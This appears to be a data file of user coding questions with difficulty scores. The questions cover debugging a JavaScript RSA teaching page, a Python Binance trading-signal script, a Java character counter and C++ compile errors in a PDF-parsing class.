<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n)</h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1</h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
// Generate a random number
var randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
// Check if it is a prime number
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
document.getElementById('primeNumbers').textContent = `p = ${p}, q = ${q}`;
var primeLength = Math.max(Math.floor(Math.log2(p)), Math.floor(Math.log2(q)));
document.getElementById('primeLength').textContent = ` Prime Length: ${primeLength} bits`;
}
// Generate prime numbers on page load
generatePrimeNumbers();
// Animate changing values every 1 second
setInterval(generatePrimeNumbers, 100);
</script>
</html> | 9ed289174d28aaca0090c6e65c6fd780 | {
"intermediate": 0.2998098134994507,
"beginner": 0.3762887716293335,
"expert": 0.3239014148712158
} |
16,497 | it overloads the browser without any errors. where could be a problem here?: <html><head>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4>
<p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q <span id='nCalculation'></span></h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1) <span id='totientFunction'></span></h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n) <span id='publicExponent'></span></h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1 <span id='privateExponent'></span></h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
// Generate a random number
var randomNumber = Math.floor(Math.random() * 10000) + 100;
// Check if it is a prime number
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000) + 100;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
document.getElementById('primeNumbers').textContent = p = `${p}, q = ${q}`;
var primeLength = Math.max(Math.floor(Math.log2), Math.floor(Math.log2(q)));
document.getElementById('primeLength').textContent = `Prime Length: ${primeLength} bits`;
// Calculate n
var n = p * q;
document.getElementById('nCalculation').textContent = n = `${n}`;
// Calculate Euler's totient function
var phi = (p - 1) * (q - 1);
document.getElementById('totientFunction').textContent = `φ(n) = ${phi}`;
// Select public exponent
var e = 2;
while (e < phi) {
if (getGreatestCommonDivisor(e, phi) === 1) {
break;
}
e++;
}
document.getElementById('publicExponent').textContent = e = `${e}`;
// Calculate private exponent
var d = getMultiplicativeInverse(e, phi);
document.getElementById('privateExponent').textContent = d = `${d}`;
}
// Function to calculate the greatest common divisor
function getGreatestCommonDivisor(a, b) {
if (b === 0) {
return a;
}
return getGreatestCommonDivisor(b, a % b);
}
// Function to calculate the multiplicative inverse
function getMultiplicativeInverse(a, m) {
var [x, y, gcd] = extendedEuclideanAlgorithm(a, m);
if (x > 0) {
return x;
}
return x + m;
}
// Function to perform extended Euclidean algorithm
function extendedEuclideanAlgorithm(a, b) {
var x = 0,
y = 1,
u = 1,
v = 0;
while (a !== 0) {
var q = Math.floor(b / a);
var r = b % a;
var m = x - u * q;
var n = y - v * q;
b = a;
a = r;
x = u;
y = v;
u = m;
v = n;
}
return [x, y, b];
}
// Generate prime numbers on page load
generatePrimeNumbers();
setInterval(generatePrimeNumbers, 5000);
</script>
</html> | 4c0eda9f7c6133add917ec9d5187ca0c | {
"intermediate": 0.3651735186576843,
"beginner": 0.2897486090660095,
"expert": 0.34507790207862854
} |
16,498 | hi | 6289fe6bba3657f41bc0d33c3c7d1878 | {
"intermediate": 0.3246487081050873,
"beginner": 0.27135494351387024,
"expert": 0.40399640798568726
} |
16,499 | I used this code: def signal_generator(df):
if df is None:
return ''
ema_analysis = []
candle_analysis = []
bollinger_signal = []
df['EMA7'] = df['Close'].ewm(span=7, adjust=False).mean()
df['EMA23'] = df['Close'].ewm(span=23, adjust=False).mean()
if (
df['EMA7'].iloc[-1] > df['EMA23'].iloc[-1] and
df['EMA7'].iloc[-2] < df['EMA23'].iloc[-2]
):
ema_analysis.append('golden_cross')
elif (
df['EMA7'].iloc[-1] < df['EMA23'].iloc[-1] and
df['EMA7'].iloc[-2] > df['EMA23'].iloc[-2]
):
ema_analysis.append('death_cross')
# Candlestick analysis
df['Body'] = df['Close'] - df['Open']
df['Range'] = df['High'] - df['Low']
df['UpperShadow'] = df['High'] - df[['Close', 'Open']].max(axis=1)
df['LowerShadow'] = df[['Close', 'Open']].min(axis=1) - df['Low']
df['BullishEngulfing'] = (df['Body'] > 0) & (df['Body'].shift() < 0) & (df['Open'] < df['Close'].shift())
df['BearishEngulfing'] = (df['Body'] < 0) & (df['Body'].shift() > 0) & (df['Open'] > df['Close'].shift())
df['Hammer'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] <= 0.1 * df['Body'])
df['HangingMan'] = (df['UpperShadow'] >= 2 * df['Body']) & (df['LowerShadow'] >= 2 * df['Body'])
for i in range(len(df)):
if df['BullishEngulfing'].iloc[i]:
candle_analysis.append('bullish_engulfing')
elif df['BearishEngulfing'].iloc[i]:
candle_analysis.append('bearish_engulfing')
elif df['Hammer'].iloc[i]:
candle_analysis.append('hammer')
elif df['HangingMan'].iloc[i]:
candle_analysis.append('hanging_man')
else:
candle_analysis.append('')
if ('golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return ''
end_time = int(time.time() * 1000)
start_time = end_time - lookback * 60 * 1000
TradeType = "BUY" or "SELL"
secret_key = API_KEY_BINANCE # Replace with your actual secret key obtained from MXC Exchange
access_key = API_SECRET_BINANCE # Replace with your actual access key obtained from MXC Exchange
import binance
while True:
# Get data and generate signals
df = get_klines(symbol, interval, lookback)
if df is not None:
signals = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - Signals: {signals}")
# Check if signals is 'buy' or 'sell'
if signals == 'buy':
try:
client.new_order(symbol=symbol, side='BUY', type='MARKET', quantity=0.1)
print("Long order executed!")
except binance.error.ClientError as e:
print(f"Error executing long order: {e}")
time.sleep(1)
if signals == 'sell':
try:
client.new_order(symbol=symbol, side='SELL', type='MARKET', quantity=0.1)
print("Short order executed!")
except binance.error.ClientError as e:
print(f"Error executing short order: {e}")
time.sleep(1)
# Wait for a specific interval before placing the next order
time.sleep(1) # Adjust the sleep duration as per your requirements
But it doesn't give me any right signals | afafbf27280b68a3ca9495f8ddd861ea | {
"intermediate": 0.28163713216781616,
"beginner": 0.393858939409256,
"expert": 0.32450395822525024
} |
16,500 | it shows NaN in "Prime Length: NaN bits". it doesn't show "🌐 Public Key: (e, n)", and "📂 Encryption: To encrypt a message M, compute C = (M^e) % n", and "🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n". <--need to fix this somehow. show only fixed javascript, without html and css.: <html><head>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4>
<p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q <span id='nCalculation'></span></h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1) <span id='totientFunction'></span></h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n) <span id='publicExponent'></span></h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1 <span id='privateExponent'></span></h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
// Generate a random number
var randomNumber = Math.floor(Math.random() * 10000) + 100;
// Check if it is a prime number
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000) + 100;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
document.getElementById('primeNumbers').textContent = 'p = ' + p + ', q = ' + q;
var primeLength = Math.max(Math.floor(Math.log2), Math.floor(Math.log2(q)));
document.getElementById('primeLength').textContent = 'Prime Length: ' + primeLength + ' bits';
// Calculate n
var n = p * q;
document.getElementById('nCalculation').textContent = 'n = ' + n;
// Calculate Euler's totient function
var phi = (p - 1) * (q - 1);
document.getElementById('totientFunction').textContent = 'φ(n) = ' + phi;
// Select public exponent
var e = 2;
while (e < phi) {
if (getGreatestCommonDivisor(e, phi) === 1) {
break;
}
e++;
}
document.getElementById('publicExponent').textContent = 'e = ' + e;
// Calculate private exponent
var d = getMultiplicativeInverse(e, phi);
document.getElementById('privateExponent').textContent = 'd = ' + d;
}
// Function to calculate the greatest common divisor
function getGreatestCommonDivisor(a, b) {
if (b === 0) {
return a;
}
return getGreatestCommonDivisor(b, a % b);
}
// Function to calculate the multiplicative inverse
function getMultiplicativeInverse(a, m) {
var result = extendedEuclideanAlgorithm(a, m);
var x = result[0];
var y = result[1];
var gcd = result[2];
if (x > 0) {
return x;
}
return x + m;
}
// Function to perform extended Euclidean algorithm
function extendedEuclideanAlgorithm(a, b) {
var x = 0, y = 1, u = 1, v = 0;
while (a !== 0) {
var q = Math.floor(b / a);
var r = b % a;
var m = x - u * q;
var n = y - v * q;
b = a;
a = r;
x = u;
y = v;
u = m;
v = n;
}
return [x, y, b];
}
// Generate prime numbers on page load
window.onload = function() {
generatePrimeNumbers();
setInterval(generatePrimeNumbers, 5000);
};
</script>
</html> | 74ea8af918c0d86cb1ee11251fecec05 | {
"intermediate": 0.35911810398101807,
"beginner": 0.26107653975486755,
"expert": 0.3798053562641144
} |
16,501 | can you write a java program that will count the number of letters, digits , spaces and punctuation marks in a string? | 05d45267c7d2a12756a896c890549074 | {
"intermediate": 0.4435519874095917,
"beginner": 0.18977463245391846,
"expert": 0.3666733205318451
} |
16,502 | it shows NaN in “Prime Length: NaN bits”. it doesn’t show “🌐 Public Key: (e, n)”, and “📂 Encryption: To encrypt a message M, compute C = (M^e) % n”, and “🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n”. <–need to fix this somehow. show only fixed javascript, without html and css.:
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id=‘primeNumbers’></span><span id=‘primeLength’></span></h4>
<p class=‘description’><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q <span id=‘nCalculation’></span></h4>
<p class=‘description’><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler’s totient function of n: φ(n) = (p-1) * (q-1) <span id=‘totientFunction’></span></h4>
<p class=‘description’><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler’s totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician’s wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n) <span id=‘publicExponent’></span></h4>
<p class=‘description’><b>→ Choose a magic number that doesn’t have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter ‘e’, must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler’s totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1 <span id=‘privateExponent’></span></h4>
<p class=‘description’><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent ‘e’ and divided by Euler’s totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class=‘description’><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class=‘description’><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It’s like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class=‘description’><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It’s like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
// Generate a random number
var randomNumber = Math.floor(Math.random() * 10000) + 100;
// Check if it is a prime number
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000) + 100;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
document.getElementById(‘primeNumbers’).textContent = 'p = ’ + p + ', q = ’ + q;
var primeLength = Math.max(Math.floor(Math.log2), Math.floor(Math.log2(q)));
document.getElementById(‘primeLength’).textContent = ‘Prime Length: ’ + primeLength + ’ bits’;
// Calculate n
var n = p * q;
document.getElementById(‘nCalculation’).textContent = 'n = ’ + n;
// Calculate Euler’s totient function
var phi = (p - 1) * (q - 1);
document.getElementById(‘totientFunction’).textContent = 'φ(n) = ’ + phi;
// Select public exponent
var e = 2;
while (e < phi) {
if (getGreatestCommonDivisor(e, phi) === 1) {
break;
}
e++;
}
document.getElementById(‘publicExponent’).textContent = 'e = ’ + e;
// Calculate private exponent
var d = getMultiplicativeInverse(e, phi);
document.getElementById(‘privateExponent’).textContent = 'd = ’ + d;
}
// Function to calculate the greatest common divisor
function getGreatestCommonDivisor(a, b) {
if (b === 0) {
return a;
}
return getGreatestCommonDivisor(b, a % b);
}
// Function to calculate the multiplicative inverse
function getMultiplicativeInverse(a, m) {
var result = extendedEuclideanAlgorithm(a, m);
var x = result[0];
var y = result[1];
var gcd = result[2];
if (x > 0) {
return x;
}
return x + m;
}
// Function to perform extended Euclidean algorithm
function extendedEuclideanAlgorithm(a, b) {
var x = 0, y = 1, u = 1, v = 0;
while (a !== 0) {
var q = Math.floor(b / a);
var r = b % a;
var m = x - u * q;
var n = y - v * q;
b = a;
a = r;
x = u;
y = v;
u = m;
v = n;
}
return [x, y, b];
}
// Generate prime numbers on page load
window.onload = function() {
generatePrimeNumbers();
setInterval(generatePrimeNumbers, 5000);
};
</script>
</html> <–fix “NaN”? | da58a49180a1a9e2742af0bf4e464a51 | {
"intermediate": 0.3639427125453949,
"beginner": 0.28624454140663147,
"expert": 0.34981268644332886
} |
16,503 | error C2039: “ParsePDF”: не является членом “PDFParser”.
error C2065: LanguageDetector: необъявленный идентификатор
исправь ошибки в коде
#include <iostream>
#include <string>
#include <map>
#include <vector>
#include "pdf_parser.h" // библиотека для парсинга PDF
#include "langdetect.h" // библиотека для определения языка
class CodeAI
{
public:
std::string ParsePDF(const std::string& pdf_path) {
PDFParser parser(pdf_path); // Создание объекта парсера
std::string text = parser.ParsePDF(); // Использование метода парсера для получения текста из PDF
return text;
}
std::string DetectLanguage(const std::string& text) {
LanguageDetector detector; // Создание объекта детектора языка
std::string lang = detector.DetectLanguage(text); // Использование метода детектора для определения языка
return lang;
}
void LearnFromPDF(const std::string& pdf_path) {
std::string text = ParsePDF(pdf_path);
std::string lang = DetectLanguage(text);
if (lang == "ru") {
LearnFromText(text, "ru");
}
else if (lang == "eu") {
LearnFromText(text, "eu");
}
}
void LearnFromText(const std::string& text, const std::string& lang) {
// Фильтрация знаний из текста и запоминание
filtered_texts[lang].push_back(text);
}
std::string GenerateCode(const std::string& query) {
// Генерация кода на основе запроса и изученных знаний
return "Generated code based on query: " + query;
}
std::string Answer(const std::string& question) {
// Обработка вопроса и генерация ответа
return "Answer to the question";
}
void Interface() {
std::string cmd;
std::cout << "Enter a command : \n";
std::cin >> cmd;
if (cmd == "learn_pdf") {
std::string pdf_path;
std::cout << "Enter the PDF path : \n";
std::cin.ignore();
std::getline(std::cin, pdf_path);
LearnFromPDF(pdf_path);
}
else if (cmd == "generate") {
std::cout << "Enter a request : \n";
std::string query;
std::cin.ignore();
std::getline(std::cin, query);
std::cout << GenerateCode(query) << "\n";
}
else if (cmd == "knowledge") {
std::cout << "Enter the language(ru / eu) :\n";
std::string lang;
std::cin >> lang;
if (filtered_texts.count(lang) > 0) {
std::cout << "Acquired knowledge : \n";
for (const auto& text : filtered_texts[lang]) {
std::cout << text << "\n";
}
}
else {
std::cout << "There is no acquired knowledge for the selected language.\n";
}
}
else if (cmd == "finish") {
std::cout << "Finished learning from PDFs.Opening communication window.\n";
CommunicationWindow();
}
else {
std::cout << "Invalid command.\n";
}
Interface();
}
void CommunicationWindow() {
std::cout << "Enter a question or type ‘exit’ to close the communication window : \n";
std::string question;
std::cin.ignore();
std::getline(std::cin, question);
if (question == "exit") {
std::cout << "Closing communication window.\n";
return;
}
std::string answer = Answer(question);
std::cout << "Answer: " << answer << "\n";
CommunicationWindow();
}
private:
std::map<std::string, std::vector<std::string>> filtered_texts;
};
int main() {
CodeAI ai;
ai.Interface();
return 0;
} | ed8358958fac246a3518d8c034e42396 | {
"intermediate": 0.31860122084617615,
"beginner": 0.5192874670028687,
"expert": 0.16211126744747162
} |
